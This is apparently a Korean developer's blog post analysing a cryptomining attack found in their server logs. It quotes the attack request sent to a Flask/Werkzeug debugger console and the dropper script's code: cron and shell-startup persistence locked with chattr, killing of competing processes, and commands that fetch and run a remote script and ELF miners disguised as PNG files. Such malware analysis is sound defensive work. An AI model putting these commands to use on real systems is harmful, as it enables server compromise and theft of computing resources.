좀비 PC 될 뻔한 썰.txt
암호화폐 채굴 스크립트 분석기Step by step
탐문탐색
요즘 서비스 개발에 조금씩 재미를 찾기 시작해서 백엔드 개발을 시도하고 있다. 그런데 올려놓은 서버에 어느날 이상한 로그를 확인했다.
1
GET /console?__debugger__=yes&cmd=(__import__('requests').get('http://ip:port/logservice.sh').raise_for_status()...
이런 것이 찍혀서 누가 봐도 수상하게 생겼다.
바로 철저한 대비를 하고 파보려고 했다.
스크립트 확인 및 스크립트 간략 분석
1
http://ip:port/logservice.sh
위 곳에 접속하면 해당 파일을 다운받을 수 있다.
추가로 해당 스크립트를 들어가면 의심스러운 코드를 확인할 수 있다.
다음과 같이 부팅 순서에 작업하는 부분이 있었다.
1
2
3
4
5
{ . . . }
bash) add_to_startup "$HOME/.bashrc"
add_to_startup "$HOME/.bash_logout" ;;
zsh) add_to_startup "$HOME/.zshrc" ;;
{ . . . }
다음과 같이 데몬을 작업하는 코드도 있었다.
1
2
3
4
5
6
7
8
9
10
{ . . . }
[ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null
[ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null
[ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null
[ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null
[ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null
[ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null
[ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null
[ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null
{ . . . }
또 아래와 같은 부분도 있었다.
1
ps -eo pid,%cpu,comm --sort=-%cpu | awk 'NR>1 && !/awk|ps/ && !($3 ~ /^(logrotate|sshd|java)$/) && int($2) > 60 { system("kill -9 " $1) }'
위와 같이 특정 프로세스를 종료하는 코드가 있었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
EXEC="source <(wget -q -O - http://ip:port/logservice.sh || curl -sL http://ip:port/logservice.sh)"
trap 'rm -- "$0"' EXIT
if [ -z "${HOME+x}" ]; then
export HOME=/tmp
fi
mkdir -p "$HOME/.config" >/dev/null 2>&1
[ ! -f "$HOME/.config/logrotate" ] && {
ARCH=$(uname -m)
URL=""
[ "$ARCH" = "x86_64" ] && URL="http://ip:port/silicon64blueprints.png"
[ "$ARCH" = "aarch64" ] && URL="http://ip:port/siliconarmblueprints.png"
[ -z "$URL" ] && URL="http://ip:port/silicon64blueprints.png"
{ wget -q -O "$HOME/.config/logrotate" "$URL" || curl -sL -o "$HOME/.config/logrotate" "$URL"; } >/dev/null 2>&1
chmod +x "$HOME/.config/logrotate" >/dev/null 2>&1
}
pgrep -f "config/logrotate" >/dev/null 2>&1 || "$HOME/.config/logrotate"
추가로 파일도 명시되어 있어 다운받았다.
해당 파일이 진짜 사진파일인지 확인해보고 싶어서 다운받았는데 위와 같이 열리지 않았다.
*.png 파일의 정체 확인하기
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@test home % xxd silicon64blueprints.png| head
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 30bf 4000 0000 0000 ..>.....0.@.....
00000020: 4000 0000 0000 0000 2062 5700 0000 0000 @....... bW.....
00000030: 0000 0000 4000 3800 0a00 4000 1e00 1d00 ....@.8...@.....
00000040: 0100 0000 0400 0000 0000 0000 0000 0000 ................
00000050: 0000 4000 0000 0000 0000 4000 0000 0000 ..@.......@.....
00000060: b006 0000 0000 0000 b006 0000 0000 0000 ................
00000070: 0010 0000 0000 0000 0100 0000 0500 0000 ................
00000080: 0010 0000 0000 0000 0010 4000 0000 0000 ..........@.....
00000090: 0010 4000 0000 0000 297f 4400 0000 0000 ..@.....).D.....
root@test home % xxd siliconarmblueprints.png| head
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 b700 0100 0000 0035 4000 0000 0000 .........5@.....
00000020: 4000 0000 0000 0000 583d 4200 0000 0000 @.......X=B.....
00000030: 0000 0000 4000 3800 0600 4000 1d00 1c00 ....@.8...@.....
00000040: 0100 0000 0500 0000 0000 0000 0000 0000 ................
00000050: 0000 4000 0000 0000 0000 4000 0000 0000 ..@.......@.....
00000060: b408 4000 0000 0000 b408 4000 0000 0000 ..@.......@.....
00000070: 0000 0100 0000 0000 0100 0000 0600 0000 ................
00000080: 70fe 4000 0000 0000 70fe 8100 0000 0000 p.@.....p.......
00000090: 70fe 8100 0000 0000 b83c 0100 0000 0000 p........<......
root@test home %
파일 바이너리를 확인해보았다.
파일 앞부분이 시스템 실행파일로 밝혀져 디컴파일하여 분석해보았다.
*.png 파일 본격적으로 까보기
해당 파일을 디컴파일한 결과이다.
암호화폐 소프트웨어 사용 부분 해당 부분을 보면 암호화폐 채굴기에 대한 부분도 보인다.
암호화폐 채굴하는 목적의 코드로 의심된다. 해당 스크립트가 성공적으로 통과될 시 부트 타임에 스크립트와 데몬을 끼워놓고 CPU 를 제어하고 사용자 모르게 암호화폐를 지속적으로 채굴하여 공격자에게 전송하는 목적이다.
불특정다수의 서버가 채굴서버로 돌아갈 수 있음을 의미한다.
정리하며
우연찮게 서버에 찍힌 로그를 보고 호기심 반 걱정 반 분석해봤는데 해당 스크립트에 나온 부트 파일 및 데몬, 프로세스 영역 등 접근 가능하고 접근했을만한 부분을 다 탐색해봤다. 아직까진 발견된 이상증세/현상이 없지만 조금씩 더 살펴보고자 한다. 또한 이번 기회로 접근 부분 관련하여 보안을 강화하였다.
If you find any errors, please let me know by comment or email. Thank you.